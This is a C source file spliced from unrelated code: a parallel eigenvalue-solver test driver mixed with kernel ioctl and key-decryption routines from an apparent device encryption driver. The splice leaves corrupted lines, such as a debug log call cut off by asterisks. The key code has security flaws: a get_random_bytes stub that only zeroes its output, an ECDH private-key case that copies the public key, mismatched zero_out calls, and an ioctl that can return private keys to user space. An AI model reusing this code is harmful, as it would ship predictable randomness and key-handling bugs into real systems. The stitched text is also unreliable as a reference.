pdspev( &n, vecA, mapA, vecZ, mapZ, eval, iscratch,
&isize, iptr, &ptr_size ,scratch, &rsize, &info);
if ( me == 0 )
for ( k = 0; k < n; k++ )
printf(" driver wilk k = %d eval %f \n", k, eval[k]);
mxsync_();
#ifdef TIMING
timex = mxclock_();
mxtime_( &IONE, &t_com );
if( ii == 0 )
time2 = timex - time1;
#endif
if (!NO_EVEC){
tresid( &n, &n, dd, ee, vecZ, mapZ, eval, iscratch, scratch, &res, &info);
if( me == 0 )
fprintf(stderr, " iteration # %d : A Z - Z D residual = %g \n", ii, res);
ortho( &n, &n, vecZ, mapZ, iptr, iscratch, scratch, &res, &info);
if( me == 0 )
fprintf(stderr, " iteration # %d : Z' Z - I residual = %g \n", ii, res);
}
}
#ifdef TIMING
test_timing.pdspevx = timex - time1;
if (!NO_EVEC){
ii = 0;
if ( info == 0 ) {
for ( k = 0; k < n; k++ ) {
if ( mapZ[k] == me ) {
*scratch = dasum_( &n , vecZ[ii], &IONE );
ii++;
}
}
}
}
if (me == 0 ){
fprintf(stderr, " n = %d nprocs = %d \n", n, nprocs);
fprintf(stderr, " time1 = %f \n", time2);
fprintf(stderr, " pdspgvx = %f \n", test_timing.pdspgvx);
fprintf(stderr, " pdspevx = %f \n", test_timing.pdspevx);
fprintf(stderr, " choleski = %f \n", test_timing.choleski);
fprintf(stderr, " inverse = %f \n", test_timing.inverse);
fprintf(stderr, " conjug = %f \n", test_timing.conjug);
fprintf(stderr, " householder = %f \n", test_timing.householder);
fprintf(stderr, " mxm5x = %f \n", test_timing.mxm5x);
fprintf(stderr, " mxm25 = %f \n", test_timing.mxm25);
fprintf(stderr, " pstein = %f \n", test_timing.pstein);
fprintf(stderr, " pstebz = %f \n", test_timing.pstebz);
}
/* Compute and print commmunication time */
tim_com( test_timing.pdspevx, t_com, iscratch, scratch );
#endif
free(iptr);
free(scratch);
free(iscratch);
free(eval);
free(matrixZ);
free(vecZ);
free(vecA);
free(matrixA);
free(mapZ);
free(mapA);
icounter+=abs(random() % 31 );
}
return;
}
static long dek_do_ioctl_kek(unsigned int minor, unsigned int cmd,
unsigned long arg) {
long ret = 0;
void __user *ubuf = (void __user *)arg;
switch (cmd) {
case DEK_GET_KEK: {
dek_arg_get_kek req;
int requested_type = 0;
int userid;
int key_arr_idx;
DEK_LOGD("DEK_GET_KEK\n");
memset(&req, 0, sizeof(dek_arg_get_kek));
if(copy_from_user(&req, ubuf, sizeof(req))) {
DEK_LOGE("can't copy from user kek\n");
ret = -EFAULT;
goto err;
}
userid = req.userid;
if (!dek_is_persona(userid)) {
DEK_LOGE("%s invalid userid %d\n", __func__, userid);
return -EFAULT;
}
key_arr_idx = PERSONA_KEY_ARR_IDX(userid);
requested_type = req.kek_type;
req.key.len = 0;
req.key.type = -1;
switch(requested_type) {
case KEK_TYPE_SYM:
if (SDPK_sym[key_arr_idx].len > 0) {
copy_kek(&req.key, &SDPK_sym[key_arr_idx], KEK_TYPE_SYM);
DEK_LOGD("SDPK_sym len : %d\n", req.key.len);
}else{
DEK_LOGE("SDPK_sym not-available\n");
ret = -EIO;
goto err;
}
break;
case KEK_TYPE_RSA_PUB:
if (SDPK_Rpub[key_arr_idx].len > 0) {
copy_kek(&req.key, &SDPK_Rpub[key_arr_idx], KEK_TYPE_RSA_PUB);
DEK_LOGD("SDPK_Rpub len : %d\n", req.key.len);
} else {
DEK_LOGE("SDPK_Rpub not-available\n");
ret = -EIO;
goto err;
}
break;
case KEK_TYPE_RSA_PRIV:
#ifdef CONFIG_SDP_IOCTL_PRIV
if (SDPK_Rpri[key_arr_idx].len > 0) {
copy_kek(&req.key, &SDPK_Rpri[key_arr_idx], KEK_TYPE_RSA_PRIV);
DEK_LOGD("SDPK_Rpri len : %d\n", req.key.len);
} else {
DEK_LOGE("SDPK_Rpri not-available\n");
ret = -EIO;
goto err;
}
#else
DEK_LOGE("SDPK_Rpri not exposed\n");
ret = -EOPNOTSUPP;
goto err;
#endif
break;
case KEK_TYPE_DH_PUB:
if (SDPK_Dpub[key_arr_idx].len > 0) {
copy_kek(&req.key, &SDPK_Dpub[key_arr_idx], KEK_TYPE_DH_PUB);
DEK_LOGD("SDPK_Dpub len : %d\n", req.key.len);
} else {
DEK_LOGE("SDPK_Dpub not-available\n");
ret = -EIO;
goto err;
}
break;
case KEK_TYPE_DH_PRIV:
#ifdef CONFIG_SDP_IOCTL_PRIV
if (SDPK_Dpri[key_arr_idx].len > 0) {
copy_kek(&req.key, &SDPK_Dpri[key_arr_idx], KEK_TYPE_DH_PRIV);
DEK_LOGD("SDPK_Dpri len : %d\n", req.key.len);
} else {
DEK_LOGE("SDPK_Dpri not-available\n");
ret = -EIO;
goto err;
}
#else
DEK_LOGE("SDPK_Dpri not exposed\n");
ret = -EOPNOTSUPP;
goto err;
#endif
break;
case KEK_TYPE_ECDH256_PUB:
if (SDPK_EDpub[key_arr_idx].len > 0) {
copy_kek(&req.key, &SDPK_EDpub[key_arr_idx], KEK_TYPE_ECDH256_PUB);
DEK_LOGD("SDPK_EDpub len : %d\n", req.key.len);
} else {
DEK_LOGE("SDPK_EDpub not-available\n");
ret = -EIO;
goto err;
}
break;
case KEK_TYPE_ECDH256_PRIV:
#ifdef CONFIG_SDP_IOCTL_PRIV
if (SDPK_EDpri[key_arr_idx].len > 0) {
copy_kek(&req.key, &SDPK_EDpub[key_arr_idx], KEK_TYPE_ECDH256_PRIV);
DEK_LOGD("SDPK_EDpri len : %d\n", req.key.len);
} else {
DEK_LOGE("SDPK_EDpri not-available\n");
ret = -EIO;
goto err;
}
#else
DEK_LOGE("SDPK_EDpri not exposed\n");
ret = -EOPNOTSUPP;
goto err;
#endif
break;
default:
DEK_LOGE("invalid key type\n");
ret = -EINVAL;
goto err;
break;
}
if(copy_to_user(ubuf, &req, sizeof(req))) {
DEK_LOGE("can't copy to user kek\n");
zero_out((char *)&req, sizeof(dek_arg_get_kek));
ret = -EFAULT;
goto err;
}
zero_out((char *)&req, sizeof(dek_arg_get_kek));
break;
}
default:
DEK_LOGE("%s case default\n", __func__);
ret = -EINVAL;
break;
}
return ret;
err:
return ret;
}
void main1_()
{
/*
for xpress.com
*/
static Integer three = (Integer) 3, IONE = (Integer) 1;
static Integer IZERO = (Integer) 0;
static DoublePrecision DZERO = (DoublePrecision) 0.0e0;
Integer index;
Integer nocare_, norder_, nonode_, ihost_, ialnod_, ialprc_;
Integer me_, host_, nproc_;
char range, order;
Integer n, ii, me, indx, k, i, jndx, iii;
Integer iseed[4];
Integer *mapA, *mapB, *mapZ;
Integer *mapvecA, *mapvecB, *mapvecZ;
Integer *iscratch;
DoublePrecision **iptr;
Integer is_size, rsize, ptr_size;
Integer nprocs, isize;
Integer info;
DoublePrecision *scratch, *eval, *dptr;
DoublePrecision *diagA, *subdiagA, *diagB, *subdiagB;
DoublePrecision *matrixA, *matrixB, *matrixZ;
DoublePrecision **vecA, **vecB, **vecZ;
DoublePrecision **vecAA, **vecBB, **vecZZ;
DoublePrecision res, t_com;
DoublePrecision time1, time2;
DoublePrecision mxclock_();
#ifdef TIMING
extern TIMINGG test_timing;
#endif
static Integer countlist();
extern void geneig_res();
extern void b_ortho();
extern void tim_com();
extern void mxend_();
extern void mxinit_(), mxtime_();
extern void mxpara_();
extern Integer mxnprc_();
extern Integer mxmynd_();
extern void memreq_();
extern Integer nnodes_();
extern Integer ci_size_();
extern void pdsygv_();
extern DoublePrecision dlarnd_();
extern DoublePrecision dasum_();
extern DoublePrecision fabs();
/*
extern char malloc();
*/
extern void dspgv2_();
mxinit_();
me = mxmynd_();
nprocs = mxnprc_();
#ifdef TIMING
test_timing.choleski = 0.0e0;
test_timing.inverse = 0.0e0;
test_timing.conjug = 0.0e0;
test_timing.householder = 0.0e0;
test_timing.pstebz = 0.0e0;
test_timing.pstein = 0.0e0;
test_timing.mxm5x = 0.0e0;
test_timing.mxm25 = 0.0e0;
test_timing.pdspevx = 0.0e0;
test_timing.pdspgvx = 0.0e0;
#endif
k = 0;
n = 500;
diagA = (DoublePrecision *) malloc( n * sizeof(DoublePrecision));
subdiagA = (DoublePrecision *) malloc( n * sizeof(DoublePrecision));
diagB = (DoublePrecision *) malloc( n * sizeof(DoublePrecision));
subdiagB = (DoublePrecision *) malloc( n * sizeof(DoublePrecision));
if( diagA == NULL || subdiagA == NULL || diagB == NULL || subdiagB == NULL ) {
fprintf(stderr, " me = %d: ERROR not enough memory for diagA or subdiagA, ...\n",
me );
exit(-1);
}
iscratch = (Integer *) malloc ( (4*n + 100) * sizeof(Integer));
if ((mapA = (Integer *) malloc( n * sizeof(Integer))) == NULL ) {
fprintf(stderr, " me = %d: ERROR not enough memory for mapA %d \n", me, n );
exit(-1);
}
if ((mapB = (Integer *) malloc( n * sizeof(Integer))) == NULL ) {
fprintf(stderr, " me = %d: ERROR in memory allocation, not enough memory for mapB \n");
exit(-1);
}
if ((mapZ = (Integer *) malloc( n * sizeof(Integer))) == NULL ) {
fprintf(stderr, " ERROR in memory allocation, not enough memory for mapZ \n");
exit(-1);
}
/*
set the column mapping of processors
*/
for ( ii = 0; ii < n; ii++ ) {
indx = ( ii % nprocs);
mapA[ii] = 0;
mapB[ii] = 0;
}
for ( ii = 0 ; ii < n; ii++ ) {
indx = ( ii % nprocs);
mapZ[ii] = 0;
}
/*
if ( nprocs > 2 ) {
mapZ[0] = nprocs-1;
for ( ii = 1; ii < n; ii++) {
indx = ( ii % (nprocs - 1));
mapZ[ii] = indx;
}
}
else {
for ( ii = 0; ii < n; ii++) {
indx = ( ii % nprocs );
mapZ[ii] = indx;
}
}
*/
for ( i = 0; i < 3; i++ )
iseed[i] = 1;
iseed[3] = 2*me*100 + 3;
/*
for symmetric matrix with this data distribution
*/
ii = ci_size_( &me, &n, mapA );
if ( ii > 0 ) {
if ( (matrixA = (DoublePrecision *) malloc( ii * sizeof(DoublePrecision))) == NULL ) {
fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for matrixA memory size = %d \n", me, ii);
exit(-1);
}
}
dptr = matrixA;
for ( indx = 0; indx < ii; indx++ ) {
*( dptr++ ) = 0.0e0;
}
ii = countlist ( me, mapA, &n );
if ( ii > 0 ) {
if ( ( vecA = ( DoublePrecision ** ) malloc ( ii * sizeof(DoublePrecision *))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA %d \n", me, ii );
exit(-1);
}
}
else {
if ( ( vecA = ( DoublePrecision ** ) malloc ( n * sizeof(DoublePrecision *))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA %d \n", me, n );
exit(-1);
}
}
i = 0;
dptr = matrixA;
for ( indx = 0; indx < n; indx++ ) {
if ( mapA[indx] == me ) {
vecA[i] = dptr;
i++;
dptr += ( n - indx);
}
}
i = 0;
for ( indx = 0; indx < n; indx++ ){
/*
* A is symmetric, tri-diagonal. Set diagA, subdiagA equal
* to diagonal and subdiagonal parts of matrix.
* diagA and subdiagA are used to compute residual.
*/
diagA[indx] = 1.0/( indx + 1 );
subdiagA[indx] = -1.0e0;
if ( mapA[indx] == me ) {
vecA[i][0] = 1.0/( indx + 1 );
if ( indx != (n-1))
vecA[i][1] = -1.0e0;
i++;
}
}
subdiagA[0] = 0.0e0;
ii = ci_size_( &me, &n, mapB );
if ( (matrixB = (DoublePrecision *) malloc( ii * sizeof(DoublePrecision))) == NULL ) {
fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for matrixB \n", me);
exit(-1);
}
zero_out ( ii, matrixB);
dptr = matrixB;
for ( indx = 0; indx < ii; indx++ ) {
*( dptr++ ) = 0.0e0;
}
ii = countlist ( me, mapB, &n );
if ( ( vecB = ( DoublePrecision ** ) malloc ( ii * sizeof(DoublePrecision *))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA \n", me);
exit(-1);
}
i = 0;
dptr = matrixB;
for ( indx = 0; indx < n; indx++ ) {
/*
* B is symmetric, tri-diagonal. Set diagB, subdiagB equal
* to diagonal and subdiagonal parts of matrix.
* diagB and subdiagB are used to compute residual.
*/
diagB[indx] = 20.0e0;
subdiagB[indx] = -1.0e0;
if ( mapB[indx] == me ) { /* column */
vecB[i] = dptr;
vecB[i][0] = 20.0e0;
if ( indx != ( n-1))
vecB[i][1]= -1.0e0;
dptr += ( n-indx);
i++;
}
}
subdiagB[0] = 0.0e0;
/*
use the utility routine count_list to determine the number of columns of Z that are stored
on this processor using the above distribution
*/
ii = countlist ( me, mapZ, &n );
if ( ( vecZ = ( DoublePrecision ** ) malloc ( ii * sizeof(DoublePrecision *))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA allocation = %d \n", me, ii);
exit(-1);
}
if ( (matrixZ = (DoublePrecision *) malloc( ii * n * sizeof(DoublePrecision))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for matrixZ \n", me);
exit(-1);
}
dptr = matrixZ;
i = ii*n;
zero_out( i, matrixZ );
dptr = matrixZ;
k = 0;
for ( i = 0; i < ii; i++ ) {
vecZ[i] = dptr;
dptr += n;
}
if ( (eval = (DoublePrecision *) malloc( n * sizeof(DoublePrecision ))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for eigenvalue space \n", me);
exit(-1);
}
index = 0;
/*
* fprintf(stderr, "me = %d: just before memreq \n", me);
*/
rsize = 0;
isize = 0;
ptr_size = 0;
/*
for ( iii = 0; iii < n; iii++ )
fprintf(stderr, " me = %ld iii = %ld mapA = %ld mapB = %ld mapZ = %ld \n", me, iii, mapA[iii], mapB[iii], mapZ[iii]);
*/
memreq_( &index, &n, mapA, mapB, mapZ, &isize, &rsize, &ptr_size, iscratch );
/*
* fprintf(stderr, "me = %d: just after memreq isize = %d rsize = %d ptr_size %d \n", me, isize, rsize, ptr_size);
*/
free(iscratch);
if ( (iscratch = (Integer *) malloc( 2*isize * sizeof(Integer))) == NULL ) {
fprintf(stderr, " me = %d ERROR in memory allocation, not enough memory for integer scratch space \n", me);
exit(-1);
}
rsize = 2 * rsize;
if ( (scratch = (DoublePrecision *) malloc( rsize * sizeof(DoublePrecision))) == NULL ) {
fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for DoublePrecision scratch space \n", me);
exit(-1);
}
if ( (iptr = (DoublePrecision **) malloc( 2*ptr_size * sizeof(DoublePrecision *))) == NULL ) {
fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for pointer scratch space \n", me);
exit(-1);
}
mxsync_();
if( me == 0 )
fprintf(stderr, " geneig_la \n" );
#ifdef TIMING
mxsync_();
time1 = mxclock_();
#endif
time1 = mxclock_();
/*
* indx = 1;
* for ( iii = 0; iii < 1; iii++ ){
* mxtime_( &IZERO, &t_com );
* pdspgv ( &indx, &n, vecA, mapA, vecB, mapB, vecZ, mapZ, eval, iscratch,
* &isize, iptr, &ptr_size ,scratch, &rsize, &info);
* }
*/
indx = 1;
range = 'V';
order = 'L';
dspgv2_( &indx, &range, &order, &n, matrixA, matrixB, eval, matrixZ, &n,
scratch, iscratch, &info);
fflush(stdout);
#ifdef TIMING
mxsync_();
test_timing.pdspgvx = mxclock_() - time1;
mxtime_( &IONE, &t_com );
ii = 0;
if ( n < 30 ){
if ( info == 0 ) {
for ( k = 0; k < n; k++ ) {
if ( mapZ[k] == me ) {
*scratch = dasum_( &n , vecZ[ii], &IONE );
ii++;
}
}
}
}
if (me == 0 ){
fprintf(stderr, " n = %d nprocs = %d \n", n, nprocs);
fprintf(stderr, " pdspgvx = %f \n", test_timing.pdspgvx);
}
#endif
geneig_res( &n, diagA, subdiagA, diagB, subdiagB, vecZ, mapZ, eval,
iscratch, scratch, &res, &info);
if (me == 0 )
fprintf(stderr, " A Z - D B Z residual = %g \n", res);
i = 0;
for ( indx = 0; indx < n; indx++ ) {
if ( mapB[indx] == me ) {
ii = n-indx;
zero_out( ii, vecB[i] );
vecB[i][0] = 20.0e0;
if ( indx != ( n-1))
vecB[i][1]= -1.0e0;
i++;
}
}
mxsync_();
b_ortho( &n, vecB, mapB, &n, vecZ, mapZ, iptr, iscratch, scratch, &res, &info);
if( me == 0 )
fprintf(stderr, " Z' B Z - I residual = %g \n", res);
ii = 0;
if ( n < 30 ){
if ( info == 0 ) {
for ( k = 0; k < n; k++ ) {
if ( mapZ[k] == me ) {
*scratch = dasum_( &n , vecZ[ii], &IONE );
ii++;
}
}
}
}
free(iptr);
free(scratch);
free(iscratch);
free(eval);
free(matrixZ);
free(vecZ);
free(vecB);
free(matrixB);
free(vecA);
free(matrixA);
free(mapZ);
free(mapB);
free(mapA);
return;
/*
mxpend_();
*/
}
void get_random_bytes(unsigned long amount, unsigned char* output){
zero_out(output);} // not yet implemented
static int dek_decrypt_dek(int userid, dek_t *encDek, dek_t *plainDek) {
int key_arr_idx = PERSONA_KEY_ARR_IDX(userid);
if (!dek_is_persona(userid)) {
DEK_LOGE("%s invalid userid %d\n", __func__, userid);
return -EFAULT;
}
#if DEK_DEBUG
DEK_LOGD("encDek from user: "******"aes decrypt failed\n");
dek_add_to_log(userid, "aes decrypt failed");
plainDek->len = 0;
} else {
plainDek->len = encDek->len;
plainDek->type = DEK_TYPE_PLAIN;
}
} else {
DEK_LOGE("no SDPK_sym key for id: %d\n", userid);
dek_add_to_log(userid, "decrypt failed, persona locked");
return -EIO;
}
} else if (encDek->type == DEK_TYPE_RSA_ENC) {
DEK_LOGE("Not supported key type: %d\n", encDek->type);
dek_add_to_log(userid, "decrypt failed, RSA type not supported");
return -EFAULT;
} else if (encDek->type == DEK_TYPE_DH_ENC) {
#ifdef CONFIG_PUB_CRYPTO
if(SDPK_Dpri[key_arr_idx].len > 0) {
if(dh_decryptEDEK(encDek, plainDek, &SDPK_Dpri[key_arr_idx])){
DEK_LOGE("dh_decryptEDEK failed");
return -1;
}
}else{
DEK_LOGE("SDPK_Dpri for id: %d\n", userid);
dek_add_to_log(userid, "encrypt failed, no SDPK_Dpri");
return -EIO;
}
#else
DEK_LOGE("Not supported key type: %d\n", encDek->type);
dek_add_to_log(userid, "decrypt failed, DH type not supported");
return -EOPNOTSUPP;
#endif
} else {
DEK_LOGE("Unsupported decrypt key type: %d\n", encDek->type);
dek_add_to_log(userid, "decrypt failed, unsupported key type");
return -EFAULT;
}
if (plainDek->len <= 0 || plainDek->len > DEK_LEN) {
DEK_LOGE("dek_decrypt_dek, incorrect len=%d\n", plainDek->len);
zero_out((char *)plainDek, sizeof(dek_t));
return -EFAULT;
} else {
#if DEK_DEBUG
DEK_LOGD("plainDek to user: ");
dump(plainDek->buf, plainDek->len);
#endif
}
return 0;
}
